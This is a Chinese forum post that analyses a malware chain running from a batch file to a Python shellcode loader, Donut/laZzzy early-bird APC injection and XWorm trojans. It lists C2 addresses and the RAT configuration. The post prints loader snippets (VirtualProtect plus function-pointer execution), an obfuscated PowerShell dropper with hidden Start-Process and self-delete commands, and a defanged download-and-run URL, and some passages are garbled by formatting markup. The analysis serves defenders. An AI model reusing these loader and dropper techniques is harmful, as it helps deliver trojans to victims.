社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 40阅读
  • 3回复

[分享]论黑客如何从bat到py到donut到ps1层层包裹木马,揭秘木马神秘运行流程

楼层直达
z3960 
级别: FLY版主
发帖
793561
飞翔币
211917
威望
215737
飞扬币
2658714
信誉值
8



一、背景


近期发现一枚样本,传播载体为批处理文件(cl.bat),经过分析发现其通过net use命令将某Cloudflare Tunnel内网穿透服务挂载为网络驱动器后,下载并运行其中的恶意Python脚本(yea.py)。该py脚本为典型的ShellCode加载器,通过donut生成的ShellCode二进制经过base64编码+RC4加密两层处理之后在脚本中反序列化加载(调用Windows API VirtualProtect修改内存属性为可读可执行,将解密后的二进制数据强制转换为函数指针,并直接调用函数指针执行内存中的ShellCode),将其ShellCode提取并分析后发现其基于开源项目laZzzy修改,会拉起notepad进行APC早鸟注入,连接C2(95[.]217[.]129[.]88[:]5921)接收指令。该黑客警惕性高,样本传播12小时后迅速关停了当前使用的Cloudflare Tunnel内网穿透服务和C2。由于分析时C2已离线,通过对威胁情报进行研判发现:(1)威胁情报信息显示,在连接该C2的样本中发现了另一个Donut ShellCode,对该新发现的ShellCode进行研判后发现其为直接连接该C2的XWorm木马 (C2: 95[.]217[.]129[.]88[:]5921; Version: XWorm V5.6)。(2)威胁情报信息显示,该C2曾下发通过PowerShell下载其他载荷的指令,对此载荷做进一步分析和威胁情报研判后发现该载荷是连接另一个C2的XWorm木马 (C2: ftpproxy672-44246[.]portmap[.]io[:]44246)。

二、样本分析



第一节:



[原始样本分析]


原始传播样本cl.bat (0d1323d50ff0496c7ee687d65050b02de85e80b81938d7e1df204ed7320ef7c2)代码如下图所示:

可见网络驱动器挂载地址: \digital-childrens-junior-cure[.]trycloudflare[.]com@SSLDavWWWRoot (使用Cloudflare Tunnel内网穿透服务)代码说明如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot]其下载jaka.zip[font=-apple-system, BlinkMacSystemFont, &quot] (96f96b24b16109fb93d65b68c983bb2fa69f07232212437c53d6bb32642f93c3[font=-apple-system, BlinkMacSystemFont, &quot])并解压出yea.py[font=-apple-system, BlinkMacSystemFont, &quot] (f27344ae5b14d85975391f8fec471ee806e85568c6d87ac835693b47a7bacfad[font=-apple-system, BlinkMacSystemFont, &quot]),使用jaka.zip[font=-apple-system, BlinkMacSystemFont, &quot]内携带的Python环境启动,执行其中的代码。

jaka结构如下图所示:

yea.py代码如下图所示:

在yea.py代码中可以看到:(1) 该脚本先对字符串中的数据进行base64解码,赋值给变量GWFiawqTIgMLwbSqDwRGMzYOKXbSpnYm.(2) 将ASCII编码的xWp0LaAO字符串和base64解码后的数据作为参数传入函数IxcXpWUvfBDATqvXtEqdwbKpAovJwfdU,将函数返回结果赋值给变量FiCSYrhwEzAKhYhvZqAiVpGrlYwsnuOS.现在分析函数IxcXpWUvfBDATqvXtEqdwbKpAovJwfdU,其内部有一个变量IluiDvLCpTJsFOJzDLmyyyqiaMhVyKFm初始化了为一个长度为256的列表,值从0到255,用于定义一个S盒,初始化S盒等状态向量,为后续执行RC4的KSA(密钥调度算法)步骤做准备,然后将变量RuEZdSDXxJAkVRPopNlDpUedgxdYQnZp初始化为0.代码中有两个循环。第一个for循环遍历0到255,通过密钥对状态向量进行置换,对S盒进行打乱。至此,符合RC4的KSA(密钥调度算法)。在第二个循环中,变量aAKfNgohZOMShFLCIxwMcIHnbLjFjhZx和RuEZdSDXxJAkVRPopNlDpUedgxdYQnZp重新初始化为0。然后,对于数据中的每个字节,进行索引的更新、交换状态向量,并生成一个密钥流字节UVNOGXlIDSmoOkzXydluvTrriPJYzdEm。最后,将输入的数据字节与该密钥流字节进行异或操作,将结果添加到结果字节数组中,得到解密后的数据,最后返回解密后的字节。至此,符合RC4的PRGA(伪随机生成算法)。而xWp0LaAO字符串密文的则是解密密钥。因此,黑客使用RC4加密算法(密钥: xWp0LaAO)对恶意二进制数据进行了加密,再将密文进行了base64编码,然后存储至该Python脚本中,实现了序列化存储。
解密步骤:法一:先将base64数据解码,再进行RC4解密(密钥: xWp0LaAO)。解密后可得到一个通过开源项目Donut生成的ShellCode二进制法二:由于最终解密后的数据赋值给了变量FiCSYrhwEzAKhYhvZqAiVpGrlYwsnuOS,直接修改其源代码保存解密后的数据
继续向下看,可以看到: 脚本执行了ctypes.create_string_buffer(FiCSYrhwEzAKhYhvZqAiVpGrlYwsnuOS)将解密后的数据写入到内存缓冲区,然后执行ctypes.windll.kernel32.VirtualProtect调用Windows API VirtualProtect修改内存属性为可读可执行,其中0x40是内存保护标志,表示允许读写和执行。然后继续执行: 复制代码 隐藏代码pEoiTsJphfEBjJLbNFXEMvdPdvfdmibC = ctypes.cast(IvBappaUBLSolqUdSbrJfGzprBgfHtdr, ctypes.CFUNCTYPE(ctypes.c_void_p))  # 将缓冲区转换为函数指针pEoiTsJphfEBjJLbNFXEMvdPdvfdmibC()  # 执行内存中的代码
将解密后的二进制数据强制转换为函数指针,直接调用函数指针执行内存中的ShellCode.

我们提取并保存解密后的数据,发现其为Donut生成的ShellCode (7f48d92abd37c4c2d1ced2a850de9ff6a9b8f31113e1853a26c0d7968ae14573),如下图所示:

我们使用开源项目将该Donut ShellCode加载的内容解密,得到可供分析的可执行文件 (11a2ac0a4953482356f338ae02e110e13b6eb9b8dad1b6a1152fba7bd1d306f9) [1],如下图所示:

静态分析后发现,样本的输出信息毫不遮掩,向我们呈现出许多输出内容和字符串,显示其具备ShellCode加载、Payload解密和注入器等功能且具有多种注入方式,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

以上信息展示出样本是一个成熟的ShellCode加载器和注入器,样本我们比对了样本中出现的字符串、输出信息和函数功能,确认该样本基于开源项目laZzzy修改。开源项目laZzzy支持的ShellCode执行技术包括但不限于: 复制代码 隐藏代码1. Early-bird APC Queue (requires sacrificial process)    // 早鸟APC队列注入2. Thread Hijacking (requires sacrificial process)    // 线程劫持3. KernelCallbackTable (requires sacrificial process that has a GUI)4. Section View Mapping5. Thread Suspension    // 线程挂起6. LineDDA Callback7. EnumSystemGeoID Callback8. Fiber Local Storage (FLS) Callback9. SetTimer10. Clipboard
如下图所示:

可以看到,该开源项目所具有的功能和支持的注入方式与上述的样本静态分析结果完全一致。
同时,样本命中了社区Yara规则HKTL_LaZzy_Loader_Nov22_1,进一步佐证了其基于开源项目laZzzy修改,如下图所示:

动态分析后发现,样本运行后会拉起notepad进行APC早鸟注入。其将目标进程内存属性由可读可写(Read-Write)修改为可读可执行(Read-Execute),修改目标进程的APC队列,将恶意代码注入其中,远程注入notepad进程,如下图所示(图左为基于ETW-TI的行为监控工具,右图为执行样本以及样本的返回和输出,二者相吻合,结论相一致):

notepad进程被注入后会不断尝试与远程地址95[.]217[.]129[.]88[:]5921建立TCP连接,如下图所示:


[关联样本研判1]


由于C2已经离线,我们在VirusTotal平台上通过IP 95[.]217[.]129[.]88的威胁情报发现了与之相关联的另一个Donut ShellCode (2ad007f1bb1668e52e096d1bde95e57f1a2a2cfdd42fe37411963e131adf2fd0),解密后关联到样本8d937db7e89980ba45a77f3f0a09cc7898c01c1991f85dd052d93783aad88bd9. 从当时的动态运行结果可以证实其为XWorm木马,且版本为XWorm V5.6,样本配置为: 复制代码 隐藏代码{'XWorm': {'Sleep': [3], 'Hosts': ['95.217.129.88'], 'Port': ['5921'], 'KEY': ['<123456789>'], 'SPL': ['<Xwormmm>'], 'Groub': ['XWorm V5.6'], 'USBNM': ['USB.exe'], 'Mutex': ['MZL6j42k9OgGAoZY']}}{"C2 url": ["95.217.129.88"], "Port": 5921, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
如下图所示:

https://static.52pojie.cn/static/image/hrline/2.gif

第二节:



[关联样本研判2]


[1] 对于第一节中的原始样本分析,由于根据解密方式的不同,得到的文件可能略有差异——Hash不同,但总体相同。我们在VirusTotal威胁情报平台上观察到另一份与之相关联的由该ShellCode解密得到的可执行文件 (964f5015772aa4a6cf67b083648ba56625221cc8892e861a39351a977bfa6150)。如下图所示:

PE结构对比,如下图所示:

强调该文件是由于该文件在VirusTotal威胁情报平台中的Microsoft Sysinternals沙盒运行时C2存活并下发了执行PowerShell命令的指令,被沙盒有效记载,由于C2目前已经离线,因此其具有较高的威胁情报价值。我们可以在Shell Commands和Processes Tree信息中观察到PowerShell被拉起时的进程树,并看到其执行的命令行信息和PowerShell命令,如下图所示:

可以看到其通过PowerShell静默下载并执行https[:]//files.catbox[.]moe/69b44f[.]ps1脚本 (d03a44e92a67dbb9bb6befdd2c0b3c7844e9f64fb847eff6bbc1ad09d679e273)。
我们将该脚本下载后,可以看到脚本中的变量${IndianiqsqDChtlS}由多个编码片段拼接而成,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot]

对于第一组编码数据,我们猜测为Hex数据,开头部分数据为: 0x54, 0x56, 0x71, 0x51, 0x41, 0x41, 0x4d, 0x41, 0x41, 0x41, 0x41, 0x45, 0x41, 0x41, 0x41, 0x41, 0x2f, 0x2f,将其转换为字符串后为: TVqQAAMAAAAEAAAA//,再讲该字符串进行base64解码后就会得到Windows PE文件的MZ头,因此该脚本通过base64编码+Hex编码序列化存储了一个二进制可执行文件。如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot]

由于脚本中多个部分使用不同的编码方法,并且拆得非常零散,如果一个一个手动进行解码再拼接工作量大且十分复杂,我们直接滑动到脚本底部查看其拼接、反序列化和释放并写入文件的部分。
分析脚本底部的部分变量:PowerShell中反引号 是转义字符,变量名中的反引号不会影响实际变量名,反引号在PowerShell中用来转义特殊字符,所以这里可能是在故意混淆变量名,让分析变得困难。 对于变量<span class="MathJax" id="MathJax-Element-1-Frame" tabindex="0" data-mathml="InDIankpMjbYeDtf&#x2018;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8D4B;&#x503C;&#x7684;&#x5185;&#x5BB9;&#x662F;&#x2018;[sYstEm.iO.PAtH]::gEtTemPpath()&#x2018;&#xFF0C;&#x5373;&#x83B7;&#x53D6;&#x7CFB;&#x7EDF;&#x4E34;&#x65F6;&#x76EE;&#x5F55;&#x5E76;&#x8D4B;&#x503C;&#x3002;&#x5BF9;&#x4E8E;&#x53D8;&#x91CF;&#x2018;" role="presentation" style="overflow-wrap: normal; display: inline; line-height: normal; word-spacing: normal; white-space: nowrap; float: none; direction: ltr; max-width: none; max-height: none; min-width: 0px; min-height: 0px; border: 0px; padding: 0px; margin: 0px; position: relative;">InDIankpMjbYeDtf[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]可[font=STIXGeneral, &quot]以[font=STIXGeneral, &quot]看[font=STIXGeneral, &quot]到[font=STIXGeneral, &quot]赋[font=STIXGeneral, &quot]值[font=STIXGeneral, &quot]的[font=STIXGeneral, &quot]内[font=STIXGeneral, &quot]容[font=STIXGeneral, &quot]是[sYstEm.iO.PAtH]::gEtTemPpath()[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]即[font=STIXGeneral, &quot]获[font=STIXGeneral, &quot]取[font=STIXGeneral, &quot]系[font=STIXGeneral, &quot]统[font=STIXGeneral, &quot]临[font=STIXGeneral, &quot]时[font=STIXGeneral, &quot]目[font=STIXGeneral, &quot]录[font=STIXGeneral, &quot]并[font=STIXGeneral, &quot]赋[font=STIXGeneral, &quot]值[font=STIXGeneral, &quot]。[font=STIXGeneral, &quot]对[font=STIXGeneral, &quot]于[font=STIXGeneral, &quot]变[font=STIXGeneral, &quot]量InDIankpMjbYeDtf‘,可以看到赋值的内容是‘[sYstEm.iO.PAtH]::gEtTemPpath()‘,即获取系统临时目录并赋值。对于变量‘indIanRJLztrDfju,可以看到赋值的内容末尾是.exe,其在拼接exe文件的所在目录(<span class="MathJax" id="MathJax-Element-2-Frame" tabindex="0" data-mathml="indiankPMJByEDtf&#x2018;)&#x548C;&#x6587;&#x4EF6;&#x540D;(&#x2018;InDianwuCrZjtWnS.exe&#x2018;)&#xFF0C;&#x5373;&#x6587;&#x4EF6;&#x8DEF;&#x5F84;&#xFF0C;&#x5E76;&#x8D4B;&#x503C;&#x3002;&#x5BF9;&#x4E8E;&#x53D8;&#x91CF;&#x2018;" role="presentation" style="overflow-wrap: normal; display: inline; line-height: normal; word-spacing: normal; white-space: nowrap; float: none; direction: ltr; max-width: none; max-height: none; min-width: 0px; min-height: 0px; border: 0px; padding: 0px; margin: 0px; position: relative;">indiankPMJByEDtf)[font=STIXGeneral, &quot]和[font=STIXGeneral, &quot]文[font=STIXGeneral, &quot]件[font=STIXGeneral, &quot]名(InDianwuCrZjtWnS.exe)[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]即[font=STIXGeneral, &quot]文[font=STIXGeneral, &quot]件[font=STIXGeneral, &quot]路[font=STIXGeneral, &quot]径[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]并[font=STIXGeneral, &quot]赋[font=STIXGeneral, &quot]值[font=STIXGeneral, &quot]。[font=STIXGeneral, &quot]对[font=STIXGeneral, &quot]于[font=STIXGeneral, &quot]变[font=STIXGeneral, &quot]量indiankPMJByEDtf‘)和文件名(‘InDianwuCrZjtWnS.exe‘),即文件路径,并赋值。对于变量‘{IndIanadZvBsCmdZ},可以看到赋值内容末尾是.bat,其在拼接批处理文件的所在目录({inDiankpmjbyEDtf})和文件名(<span class="MathJax" id="MathJax-Element-3-Frame" tabindex="0" data-mathml="IndIanWucrZjtWnS.bat&#x2018;)&#xFF0C;&#x5373;&#x6587;&#x4EF6;&#x8DEF;&#x5F84;&#xFF0C;&#x5E76;&#x8D4B;&#x503C;&#x3002;&#x5BF9;&#x4E8E;&#x53D8;&#x91CF;&#x2018;" role="presentation" style="overflow-wrap: normal; display: inline; line-height: normal; word-spacing: normal; white-space: nowrap; float: none; direction: ltr; max-width: none; max-height: none; min-width: 0px; min-height: 0px; border: 0px; padding: 0px; margin: 0px; position: relative;">IndIanWucrZjtWnS.bat)[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]即[font=STIXGeneral, &quot]文[font=STIXGeneral, &quot]件[font=STIXGeneral, &quot]路[font=STIXGeneral, &quot]径[font=STIXGeneral, &quot],[font=STIXGeneral, &quot]并[font=STIXGeneral, &quot]赋[font=STIXGeneral, &quot]值[font=STIXGeneral, &quot]。[font=STIXGeneral, &quot]对[font=STIXGeneral, &quot]于[font=STIXGeneral, &quot]变[font=STIXGeneral, &quot]量IndIanWucrZjtWnS.bat‘),即文件路径,并赋值。对于变量‘{InDianXtLIjxmcWX}`,可以看到其赋值的内容是拼接出来的批处理命令: 复制代码 隐藏代码@echo off`ntimeout /t 2 /nobreak>nul`ndel `"$InDianrJLztrDfJu`" /f /q`nexit
再解密[char]表达式——对于表达式: 复制代码 隐藏代码[char]((19002 - 9867 - 3089 - 5968))+[char](((980 -Band 7475) + (980 -Bor 7475) - 17 - 8337))+[char]((-3995 - 2033 - 2118 + 8265))+[char]((-1228 - 4793 + 4838 + 1228))+[char](((-12598 -Band 5996) + (-12598 -Bor 5996) + 1865 + 4816))+[char](((-3392 -Band 2765) + (-3392 -Bor 2765) + 2332 - 1607))+[char](((-16650 -Band 2904) + (-16650 -Bor 2904) + 9290 + 4562))+[char]((-3687 - 6737 + 1379 + 9146))+[char](((-6385 -Band 2400) + (-6385 -Bor 2400) + 9609 - 5525))+[char](((8580 -Band 8726) + (8580 -Bor 8726) - 9299 - 7891))
解密结果为: New-Object
对于表达式: 复制代码 隐藏代码[char](((-3042 -Band 9181) + (-3042 -Bor 9181) - 5054 - 1002))+[char](((-7205 -Band 6236) + (-7205 -Bor 6236) - 2366 + 3451))+[char]((-8213 - 1056 + 8357 + 1009))+[char](((-6809 -Band 7938) + (-6809 -Bor 7938) - 215 - 800))+[char](((-4455 -Band 4808) + (-4455 -Bor 4808) + 3896 - 4133))+[char](((485 -Band 1549) + (485 -Bor 1549) - 2869 + 880))+[char](((5055 -Band 498) + (5055 -Bor 498) - 4931 - 542))+[char]((8030 - 4044 - 2553 - 1319))+[char]((-15464 - 2385 + 9245 + 8715))+[char](((-8969 -Band 8206) + (-8969 -Bor 8206) - 3948 + 4810))+[char](((-10583 -Band 9149) + (-10583 -Bor 9149) + 8015 - 6480))+[char](((10950 -Band 1116) + (10950 -Bor 1116) - 5894 - 6057))+[char]((10835 - 5184 - 2482 - 3054))
解密结果为: Start-Process
如下图所示:

我们将第一条[char]表达式解密后代入原代码,发现其使用System.Diagnostics.ProcessStartInfo启动静默无窗口该可执行文件: 复制代码 隐藏代码${inDiangcPYCWauLx}=New-Object System.Diagnostics.ProcessStartInfo;${`In`Dian`G`CPYcwa`ULX}.FIleNAme=$inDIanRJLztrDfJU;${ind`Iang`Cp`YCwa`UL`X}.CrEaTEnOwIndoW=([bOol][CHaR]);${in`Diangc`Py`Cwau`LX}.WindOwstYLE=0;${ind`IangtCsik`Ocrc}=[syStem.diAGNOstIcs.pRoCeSS]::sTaRt(${inDIangcPyCWaulx})
代码说明如下: 复制代码 隐藏代码# 创建 ProcessStartInfo 对象 (变量名混淆: inDiangcPYCWauLx)${inDiangcPYCWauLx} = New-Object System.Diagnostics.ProcessStartInfo# 设置要执行的程序路径,来自变量 $inDIanRJLztrDfJU 的值# 变量名混淆: `In`Dian`G`CPYcwa`ULX# 实际对应: ${inDiangcPYCWauLx}.FileName = $inDIanRJLztrDfJU${`In`Dian`G`CPYcwa`ULX}.FIleNAme = $inDIanRJLztrDfJU# 设置不创建新窗口 (通过字符强制类型转换设置布尔值 [生成 $true])# [char] 空值被转换为布尔值 $true# 变量名混淆: ind`Iang`Cp`YCwa`UL`X; 方法名混淆: CrEaTEnOwIndoW ...# 实际对应: ${indIangCpYCwaULX}.CreateNoWindoW = ([bool][char])${ind`Iang`Cp`YCwa`UL`X}.CrEaTEnOwIndoW = ([bOol][CHaR])# 设置窗口样式为隐藏 (0 = Hidden)# 变量名混淆: in`Diangc`Py`Cwau`LX; 方法名混淆: WindOwstYLE# 实际对应: ${inDiangcPyCwauLX}.WindowStyle = 0${in`Diangc`Py`Cwau`LX}.WindOwstYLE = 0# 启动配置好的进程# 变量名混淆: indIangtCsikOcrc; 方法名混淆:sTaRt ...# 实际对应: ${indIangtCsikOcrc} = [System.Diagnostics.Process]::Start(${inDIangcPyCWaulx})# 实际调用: System.Diagnostics.Process.Start()${ind`IangtCsik`Ocrc} = [syStem.diAGNOstIcs.pRoCeSS]::sTaRt(${inDIangcPyCWaulx})
我们将第二条[char]表达式解密后代入原代码,继续看到末尾的部分代码: 复制代码 隐藏代码Start-Process -FilePath ([syStem.TeXt.enCoDing]::utf8.GETSTRing((99, 109, 100, 46)) + [SYSTeM.TExt.eNcOdInG]::UTf8.GEtstRinG((0x65, 0x78, 0x65))) -ArgumentList "/c ${indianadZvBSCMDZ}" -WindowStyle Hidden
对于Dec 99, 109, 100, 46,我们对照ASCII码表可得结果:Dec 99 => cDec 109 => mDec 100 => dDec 46 => .
对于Hex 0x65, 0x78, 0x65,我们将其转换为字符串后确认为exe,如下图所示:

可见,脚本末尾执行了: 复制代码 隐藏代码Start-Process -FilePath cmd.exe -ArgumentList "/c ${indianadZvBSCMDZ}" -WindowStyle Hidden
静默无窗口执行,以f"cmd.exe /c ${indianadZvBSCMDZ}"命令行启动cmd执行bat文件,其中${indianadZvBSCMDZ}为bat文件路径。
结合上述分析,该脚本通过使用System.Diagnostics.ProcessStartInfo启动该可执行文件,然后通过PowerShell.exe拉起cmd.exe执行其下放的批处理文件来删除该可执行文件,并退出环境。
根据以上分析,我们修改以上相关脚本末尾代码,将该可执行文件安全写入至当前目录且不执行(去除启动并执行代码,使其生成后不执行): 复制代码 隐藏代码# 原始混淆变量定义(路径生成部分修改为当前目录)${In`DIankpMjb`YeDtf} = [System.Environment]::CurrentDirectory  # 修改点:临时目录=>当前目录$indIanRJLztrDfju = "${In`DIankpMjb`YeDtf}${In`Dianwu`Cr`ZjtWnS}.exe"  # 修改点:路径拼接# 原始字节写入逻辑(完全保留)[IO.File]::WriteAllBytes($indIanrjlztrdfJu, ${indIanrvtnOLJbYg})# 原始.bat文件生成逻辑(完全保留)${IndIanadZvBsCmdZ} = "${In`DIankpMjb`YeDtf}${`IndIan`Wucr`Zjt`Wn`S}.bat"${In`Dian`XtL`Ijxmc`W`X} = @"@echo offtimeout /t 2 /nobreak>nuldel "$indIanrJLztrDfJu" /f /qexit"@# 原始字节写入逻辑(完全保留)[IO.File]::WriteAllText(${IndIanaDz`VbScmdz}, ${`IndIanxtL`IjX`Mcwx})# 输出生成的文件信息Get-Item $indIanrjlztrdfJu, ${IndIanaDz`VbScmdz} |   Select Name, Directory, Length
于是,保存脚本并运行后,我们得到了 QYIFWA.bat (QYIFWA.exe启动器) 和 QYIFWA.exe (8b68728d3054a0f23ea137c6e6710dbc795b053fde677dc511c176a61286cc20),如下图所示:

QYIFWA.exe使用VB.NET编译,使用OneDrive图标,原始文件名为OneDrive.exe,其使用了多层代码壳或混淆器,静态分析难度较高。直接对其进行反编译可以看到如下internal class: BabelObfuscatorAttribute CrytpoObfuscator ObfuscatedByGoliath Reactor VMProtect等。de4dot识别到两种混淆器——Babel .NET和Goliath.NET,但无法完成脱壳和去混淆处理。其命中两条社区Yara规则: SUSP_OBFUSC_Goliath_Obfuscator_Oct20_1+SUSP_MSIL_NET_ConfuserEx_Module_Encryption_Sep23.PE节区名: 节(0)-xbS4;{; 节(1)-.text; 节(2)-.rsrc; 节(3)-UPX; 节(4)-.reloc.如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

其会尝试通过多种方式检测并反虚拟机、反调试器、反虚拟行为沙盒。由于在本地分析环境中无法运行该样本,故结合云端沙箱的动态运行结果进行分析。(1) 检查VMware相关文件和注册表,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

(2) 检查VirtualBox相关文件和注册表,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

(3) 检查注册表中BIOS版本,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

(4) 检查注册表中SCSI接口磁盘ID,如下图所示:[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]

(5) WMIQuery检查当前环境(包括但不限于查询Win32_VideoController Win32_OperatingSystem AntivirusProduct等)*,如下图所示:
本帖最近评分记录: 1 条评分 飞扬币 +50
爱我中华 飞扬币 +50 昨天 17:30 社区因为有您的参与更精彩!
关键词: 木马
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 茶馆馆主
发帖
623500
飞翔币
218368
威望
3971
飞扬币
3171841
信誉值
0

只看该作者 1 发表于: 昨天 17:32
长知识了
srwam 
级别: 超级版主
发帖
718103
飞翔币
6446525
威望
25652
飞扬币
3241889
信誉值
0

只看该作者 2 发表于: 昨天 20:04
来看看
srwam 
级别: 超级版主
发帖
718103
飞翔币
6446525
威望
25652
飞扬币
3241889
信誉值
0

只看该作者 3 发表于: 昨天 20:04
了解一下